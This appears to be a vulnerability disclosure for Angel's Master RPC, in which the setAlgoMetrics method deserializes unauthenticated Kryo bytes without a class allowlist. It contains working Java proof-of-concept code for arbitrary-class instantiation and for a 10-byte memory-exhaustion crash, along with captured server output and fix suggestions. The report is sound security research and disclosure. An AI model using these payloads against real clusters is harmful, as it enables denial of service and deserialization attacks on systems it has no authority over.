Unauthenticated arbitrary-class Kryo deserialization and remote memory-exhaustion DoS in Angel Master RPC (`setAlgoMetrics`)

### Summary
Angel's Master process exposes `PSAgentMasterService` (part of the combined `MasterProtocol` RPC interface implemented by `MasterService`) on a plain Netty TCP socket with no authentication, no token, and no TLS. One of its RPC methods, `setAlgoMetrics`, passes attacker-controlled bytes straight into a Kryo deserializer configured with `registrationRequired = false` and no class allowlist. Any network peer that can reach the Master's RPC port — which in a deployment is any worker container, and in many YARN clusters any host on the cluster network — can send a single unauthenticated RPC call that:

1. Forces the Master to fully construct an object of an arbitrary, attacker-chosen Java class with attacker-controlled field values (the only "check" performed is a cast that happens after construction is already complete), and
2. Can trivially crash the Master by forcing it to eagerly allocate a multi-gigabyte array from a payload only 10 bytes long.

Because Angel's Master is the single coordinator process for an entire distributed training job (it owns the workergroup/PS lifecycle, matrix metadata, and job state machine), crashing it takes down the whole job for every worker and PS in the application, not just the caller.

### Details

`MasterService` implements the full `MasterProtocol`, which aggregates `PSAgentMasterService`, `PSMasterService`, `WorkerMasterService`, and `ClientMasterService` onto one RPC endpoint:

`angel-ps/core/src/main/java/com/tencent/angel/master/MasterProtocol.java`
```java
public interface MasterProtocol extends VersionedProtocol, PSMasterService.BlockingInterface,
PSAgentMasterService.BlockingInterface, WorkerMasterService.BlockingInterface,
ClientMasterService.BlockingInterface {
static long VERSION = 0L;
}
```

Angel's own RPC transport (`com.tencent.angel.ipc.*`, a hand-rolled Netty + protobuf stack, not Hadoop IPC) never references SASL, `UserGroupInformation`, tokens, or any credential check — confirmed by grepping the entire `ipc` package. Any TCP client that can reach the Master's RPC port can call any method on any of the four aggregated services, including `setAlgoMetrics`, without ever registering as a legitimate worker.

`setAlgoMetrics` takes the raw bytes from the request and hands them to `KryoUtils.deserializeAlgoMetric`:

`angel-ps/core/src/main/java/com/tencent/angel/master/MasterService.java:1191-1200`
```java
public PSAgentMasterServiceProtos.SetAlgoMetricsResponse setAlgoMetrics(
RpcController controller, PSAgentMasterServiceProtos.SetAlgoMetricsRequest request)
throws ServiceException {
List metrics = request.getAlgoMetricsList();
int size = metrics.size();
Map nameToMetricMap = new LinkedHashMap<>(size);
for (int i = 0; i < size; i++) {
nameToMetricMap.put(metrics.get(i).getName(),
KryoUtils.deserializeAlgoMetric(metrics.get(i).getSerializedMetric().toByteArray()));
}
```

`angel-ps/core/src/main/java/com/tencent/angel/utils/KryoUtils.java:29-69`
```java
public class KryoUtils {
private static ThreadLocal kryos = new ThreadLocal();
private static ThreadLocal kryoRefs =
new ThreadLocal();
...
public static Metric deserializeAlgoMetric(byte[] data) {
ByteArrayInputStream bais = new ByteArrayInputStream(data);
Input input = new Input(bais);
KryoReflectionFactorySupport kryoRef = getKryoRef();
return ((Metric) kryoRef.readClassAndObject(input));
}
}
```

`new Kryo()` (which `KryoReflectionFactorySupport` extends) leaves `registrationRequired` at its Java default of `false`, and `KryoUtils` never calls `setRegistrationRequired(true)` anywhere in the codebase. That means `readClassAndObject` reads a class identifier straight off the wire and instantiates whatever class it names, using whichever default serializer Kryo picks for that class (FieldSerializer for plain classes, `MapSerializer`/array serializers for collections/arrays, which call `put()`/allocate arrays directly). The `(Metric)` cast is evaluated only after `readClassAndObject` returns, i.e. only after the object has already been fully constructed and populated.

`angel-ps/pom.xml` pins `kryo-shaded` to version `4.0.0` with no upper size limits configured anywhere in Angel's usage.

### PoC

Live-validated end-to-end against the unmodified Release-3.3.0 source, built and run locally in Angel's own single-JVM `LOCAL` deploy mode (`AngelConf.ANGEL_DEPLOY_MODE=LOCAL`), the same mode Angel's own `angel-ps/core/src/test/java/com/tencent/angel/master/MasterServiceTest.java` uses to run a Master + PS + Worker for unit testing. A JUnit test was added next to it (no other source files were modified) that starts the cluster, then opens a brand-new, never-registered raw RPC connection to the Master exactly the way a legitimate worker would, and calls the `setAlgoMetrics` RPC.

```java
package com.tencent.angel.master;

import com.esotericsoftware.kryo.io.Output;
import com.google.protobuf.ByteString;
import com.tencent.angel.common.location.Location;
import com.tencent.angel.ipc.TConnection;
import com.tencent.angel.ipc.TConnectionManager;
import com.tencent.angel.localcluster.LocalClusterContext;
import com.tencent.angel.protobuf.ProtobufUtil;
import com.tencent.angel.protobuf.generated.PSAgentMasterServiceProtos;
import com.tencent.angel.worker.Worker;
import com.tencent.angel.worker.task.TaskId;
import de.javakaffee.kryoserializers.KryoReflectionFactorySupport;
import java.io.ByteArrayOutputStream;
import java.util.Arrays;

// -- PoC 1: unrestricted class deserialization (type confusion) --
// A class that is NOT a subclass of com.tencent.angel.ml.metric.Metric.
public static class NotAMetric {
public String marker;
public int payload;
}

private byte[] kryoEncode(Object obj) {
KryoReflectionFactorySupport kryo = new KryoReflectionFactorySupport();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Output output = new Output(baos);
kryo.writeClassAndObject(output, obj);
output.flush();
output.close();
return baos.toByteArray();
}

// connect with zero credentials, exactly like a legitimate worker would
Worker worker = LocalClusterContext.get().getWorker(worker0Attempt0Id).getWorker();
Location masterLoc = LocalClusterContext.get().getMaster().getAppMaster()
.getAppContext().getMasterService().getLocation();
TConnection connection = TConnectionManager.getConnection(worker.getConf());
MasterProtocol master = connection.getMasterService(masterLoc.getIp(), masterLoc.getPort());

NotAMetric evil = new NotAMetric();
evil.marker = "ATTACKER_CONTROLLED_FIELD_VALUE";
evil.payload = 1337;
byte[] maliciousBytes = kryoEncode(evil);

PSAgentMasterServiceProtos.SetAlgoMetricsRequest req =
PSAgentMasterServiceProtos.SetAlgoMetricsRequest.newBuilder()
.setTaskId(ProtobufUtil.convertToIdProto(new TaskId(0)))
.addAlgoMetrics(PSAgentMasterServiceProtos.AlgoMetric.newBuilder()
.setName("attacker_metric")
.setSerializedMetric(ByteString.copyFrom(maliciousBytes))
.build())
.build();

master.setAlgoMetrics(null, req);
```

Result, captured live from the running Master process:
```
java.lang.ClassCastException: com.tencent.angel.master.SetAlgoMetricsDeserPocTest$NotAMetric cannot be cast to com.tencent.angel.ml.metric.Metric
```
This proves `NotAMetric` — a class with no relationship whatsoever to `Metric` — was fully instantiated and its fields populated by the server before the type check that ultimately rejects it. Any class reachable on the Master's classpath (all of Angel's own jars plus every transitive dependency: Kryo, Hadoop 2.7.3, Netty, Guava, commons-*, etc., since Worker/PSAgent and Master run from the same distributed application jars) can be substituted here.

```java
// -- PoC 2: 10-byte payload -> ~4.6GB server-side allocation -> OOM crash --
// Kryo's wire format for a primitive array is:
// [class-id header bytes][varint length+1][element bytes...]
// LongArraySerializer.read() allocates "new long[length]" BEFORE reading any
// element bytes, so the attacker never needs to hold or send the array.
byte[] realHeaderSample = kryoEncode(new long[]{0L});
byte[] classIdHeader = Arrays.copyOfRange(realHeaderSample, 0, 5); // long[] class id
int hugeLength = 600_000_000; // -> ~4.8GB allocation of long[hugeLength]

ByteArrayOutputStream forged = new ByteArrayOutputStream();
Output forgedOut = new Output(forged);
forgedOut.writeBytes(classIdHeader);
forgedOut.writeVarInt(hugeLength + 1, true); // Kryo's null-safe length+1 convention
forgedOut.flush();
forgedOut.close();
byte[] maliciousBytes = forged.toByteArray(); // 10 bytes total

PSAgentMasterServiceProtos.SetAlgoMetricsRequest req =
PSAgentMasterServiceProtos.SetAlgoMetricsRequest.newBuilder()
.setTaskId(ProtobufUtil.convertToIdProto(new TaskId(0)))
.addAlgoMetrics(PSAgentMasterServiceProtos.AlgoMetric.newBuilder()
.setName("attacker_metric_oom")
.setSerializedMetric(ByteString.copyFrom(maliciousBytes))
.build())
.build();

master.setAlgoMetrics(null, req);
```

Result, captured live from the running Master process's own log (10-byte wire payload):
```
java.io.IOException: java.lang.OutOfMemoryError: Java heap space
at com.esotericsoftware.kryo.io.Input.readLongs(Input.java:837)
at com.esotericsoftware.kryo.serializers.DefaultArraySerializers$LongArraySerializer.read(DefaultArraySerializers.java:137)
at com.esotericsoftware.kryo.serializers.DefaultArraySerializers$LongArraySerializer.read(DefaultArraySerializers.java:120)
at com.esotericsoftware.kryo.Kryo.readClassAndObject(Kryo.java:813)
at com.tencent.angel.utils.KryoUtils.deserializeAlgoMetric(KryoUtils.java:69)
at com.tencent.angel.master.MasterService.setAlgoMetrics(MasterService.java:1199)
at com.tencent.angel.ipc.ProtobufRpcEngine$Server.call(ProtobufRpcEngine.java:421)
at com.tencent.angel.ipc.NettyServer$NettyServerMLHandler.channelRead(NettyServer.java:213)
...
```
A payload only 10 bytes on the wire drove the receiver to attempt an 4.8GB allocation, exhausting the JVM heap and throwing from inside Netty's channel-read path on the Master's own RPC event loop thread. In a production deployment the forged length simply needs to be sized proportionally to the target heap (a few extra bytes of varint), so this DoS is trivial to weaponize against any heap size with a payload that remains a few dozen bytes at most.

### Impact
Any host that can open a TCP connection to Angel's Master RPC port (every worker/PS container in the job by design, and frequently the whole cluster network depending on YARN network policy) can, without presenting any credential:

- Force the Master to construct and populate an object of any class present on its classpath with attacker-chosen field values (CWE-502), a primitive from which further escalation depends only on finding a suitable gadget class among Angel's own code or its bundled dependencies (Hadoop 2.7.3, Kryo, Netty, commons-* libraries); this review confirms the primitive itself live but did not weaponize a full code-execution gadget chain, so remote code execution is not being claimed here.
- Crash the Master process with a single, sub-100-byte RPC call (CWE-400), terminating the entire distributed training job for every worker and parameter server in the application, since the Master is the sole cluster coordinator.

### Fix suggestion
- Require authentication (e.g. a shared job-scoped token issued at application-master startup, checked on every RPC call) before processing any `PSAgentMasterService`/`PSMasterService`/`WorkerMasterService` RPC.
- Replace the unrestricted `Kryo.readClassAndObject` call in `KryoUtils.deserializeAlgoMetric` with `kryo.setRegistrationRequired(true)` plus an explicit allow-list of the concrete `Metric` subclasses Angel ships (`LossMetric`, `ObjMetric`, `ErrorMetric`), and set a `Kryo` buffer/collection-size limit (`Kryo.setMaxSize` / a custom `Input` subclass with a length cap) so a single field cannot trigger an unbounded allocation.